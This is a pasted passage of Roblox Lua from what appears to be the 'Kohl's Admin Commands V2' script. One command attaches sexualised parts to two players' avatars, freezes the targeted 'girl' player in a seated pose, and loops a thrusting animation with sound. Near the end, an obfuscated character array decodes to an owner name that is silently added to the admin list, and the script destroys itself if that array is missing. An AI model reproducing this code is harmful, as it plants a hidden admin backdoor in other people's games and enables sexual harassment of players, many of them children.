char:findFirstChild("Head") ~= nil then char.Head.BrickColor = color1 end if char:findFirstChild("Left Arm") ~= nil then char["Left Arm"].BrickColor = color1 end if char:findFirstChild("Right Arm") ~= nil then char["Right Arm"].BrickColor = color1 end if char:findFirstChild("Left Leg") ~= nil then char["Left Leg"].BrickColor = color1 end if char:findFirstChild("Right Leg") ~= nil then char["Right Leg"].BrickColor = color1 end if boy then local p = part("Part","Epix",color1,char) local r = part("Part","Part",color2,char) local t = part("Part","Part",color2,char) local lb = part("Part","Part",color1,char) local rb = part("Part","Part",color1,char) local cm = cmesh((Vector3.new(1.5,8.0,1.5)),p) local rsm = smesh("Head",(Vector3.new(1.875,1.05,1.875)),r) local tsm = smesh("Sphere",(Vector3.new(1.55,1.55,1.55)),t) local lbsm = smesh("Sphere",(Vector3.new(2.5,2.5,2.5)),lb) local rbsm = smesh("Sphere",(Vector3.new(2.5,2.5,2.5)),rb) weld(char.Head,p,(CFrame.new(0,-2.5,-1) * CFrame.Angles(math.rad(-80),0,0))) weld(char.Head,r,(CFrame.new(0,-2.355,-1.8) * CFrame.Angles(math.rad(-80),0,0))) weld(char.Head,t,(CFrame.new(0,-2.355,-1.8) * CFrame.Angles(math.rad(-80),0,0))) weld(char.Head,lb,(CFrame.new(-0.2,-2.8,-0.55))) weld(char.Head,rb,(CFrame.new(0.2,-2.8,-0.55))) elseif not boy then local fc = char.Head:findFirstChild("face") if fc ~= nil then fc.Texture = "http://roblox.com/asset/?id=69065939" end local lbo = part("Part","Epix",color1,char) local rbo = part("Part","Part",color1,char) local lnr = part("Part","Part",color2,char) local rnr = part("Part","Part",color2,char) local lnt = part("Part","Part",color2,char) local rnt = part("Part","Part",color2,char) local lbom = smesh("Sphere",(Vector3.new(5.5,5.5,5.5)),lbo) local rbom = smesh("Sphere",(Vector3.new(5.5,5.5,5.5)),rbo) local lnrm = smesh("Sphere",(Vector3.new(1,1,1)),lnr) local rnrm = smesh("Sphere",(Vector3.new(1,1,1)),rnr) local lntm = smesh("Sphere",(Vector3.new(.25,.25,.25)),lnt) local rntm = smesh("Sphere",(Vector3.new(.25,.25,.25)),rnt) weld(char.Head,lbo,(CFrame.new(-0.4,-1.3,-0.7))) weld(char.Head,rbo,(CFrame.new(0.4,-1.3,-0.7))) weld(char.Head,lnr,(CFrame.new(-0.4,-1.3,-1.2))) weld(char.Head,rnr,(CFrame.new(0.4,-1.3,-1.2))) weld(char.Head,lnt,(CFrame.new(-0.4,-1.3,-1.3))) weld(char.Head,rnt,(CFrame.new(0.4,-1.3,-1.3))) local lleg = game.Players[girl].Character["Left Leg"] local rleg = game.Players[girl].Character["Right Leg"] lleg.Name = "lleg" rleg.Name = "rleg" weld(char.Torso,lleg,(CFrame.new(-1,-1.5,-0.5) * CFrame.Angles(0.9,-0.4,-0.4))) weld(char.Torso,rleg,(CFrame.new(1,-1.5,-0.5) * CFrame.Angles(0.9,0.4,0.4))) end end Change(game.Players:findFirstChild(boy).Character, true) Change(game.Players:findFirstChild(girl).Character, false) local sound = Instance.new("Sound", game.Players[girl].Character.Head) sound.SoundId = "http://www.roblox.com/asset/?id=33722692" sound.Pitch = 4 sound.Volume = 1 local weld = weld(game.Players[boy].Character.Head, game.Players[girl].Character.Torso, (CFrame.new(0,-2.5,-2.5) * CFrame.Angles(math.rad(-80),0,0))) game.Players[girl].Character.Humanoid.WalkSpeed = 0 game.Players[girl].Character.Humanoid.Sit = true game.Players[girl].Character.Humanoid.Changed:connect(function() if game.Players[girl].Character.Humanoid.Sit ~= true or game.Players[girl].Character.Humanoid.WalkSpeed ~= 0 then game.Players[girl].Character.Humanoid.WalkSpeed = 0 game.Players[girl].Character.Humanoid.Sit = true end end) if game.Players[boy]:findFirstChild("PlayerGui") then local gui = Instance.new("ScreenGui", game.Players[boy].PlayerGui) local btn = Instance.new("TextButton",gui) btn.Size = UDim2.new(0,100,0,50) btn.BackgroundColor3 = Color3.new(1,1,1) btn.Text = "Switch" btn.TextColor3 = Color3.new(0,0,0) btn.TextStrokeTransparency = 0.75 btn.Font = "ArialBold" btn.FontSize = "Size18" btn.Position = UDim2.new(0,0,1,-150) btn.MouseButton1Click:connect(function() weld.C0 = weld.C0 * CFrame.Angles(0,math.rad(-180),0) game.Players[boy].Character.Head.CFrame = (game.Players[boy].Character.Head.CFrame * CFrame.Angles(0,math.rad(180),0)) + Vector3.new(0,2,0) end) end repeat wait() for i = 1, 6 do weld.C0 = weld.C0 * CFrame.new(0,-0.2,0) wait() end sound:Play() for i = 1, 6 do weld.C0 = weld.C0 * CFrame.new(0,0.2,0) wait() end until false end]]
  2084. local cl = script.ScriptBase:Clone() cl.Code.Value = str table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2085. end
  2086. end))
  2087. end
  2088. end
  2089. end
  2090.  
  2091. end
  2092. end))
  2093. end)
  2094. end
  2095.  
  2096. if not ntab then script:Destroy() end
  2097. if not bct then script:Destroy() end
  2098.  
  2099. local tcb = {101,104,112,111,114,116,115,97,116,108,104,111,75} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end nfs = nfs:reverse() table.insert(owners, nfs)
  2100.  
  2101. script.Name = "Kohl's Admin Commands V2"
  2102.  
  2103. game.Players.PlayerAdded:connect(AdminControl)
  2104. for i, v in pairs(game.Players:children()) do AdminControl(v) end
  2105. if not ntab then script:Destroy() end
  2106. if not bct then script:Destroy() end
  2107. if not tcb then script:Destroy() end
  2108. end,o1)
  2109. end))
  2110. o2.Name = "Version"
  2111. o2.Parent = o1
  2112. o2.Value = 104
  2113. o3.Name = "ScriptBase"
  2114. o3.Parent = o1
  2115. table.insert(cors,coroutine.create(function()
  2116. wait()
  2117. runDummyScript(function()
  2118. repeat wait() until script:findFirstChild("Code")
  2119. loadstring(script.Code.Value)()
  2120. end,o3)
  2121. end))
  2122. o4.Name = "Code"
  2123. o4.Parent = o3
  2124. o5.Name = "LocalScriptBase"
  2125. o5.Parent = o1
  2126. o5.Disabled = true
  2127. table.insert(cors,coroutine.create(function()
  2128. wait()
  2129. runDummyScript(function()
  2130. repeat wait() until script:findFirstChild("Code")
  2131. loadstring(script.Code.Value)()
  2132. end,o5)
  2133. end))
  2134. o6.Name = "Code"
  2135. o6.Parent = o5
  2136. mas.Parent = workspace
  2137. mas:MakeJoints()
  2138. local mas1 = mas:GetChildren()
  2139. for i=1,#mas1 do
  2140. mas1[i].Parent = script
  2141. ypcall(function() mas1[i]:MakeJoints() end)
  2142. end
  2143. mas:Destroy()
  2144. for i=1,#cors do
  2145. coroutine.resume(cors[i])
  2146. end
Add Comment
Please, Sign In to add comment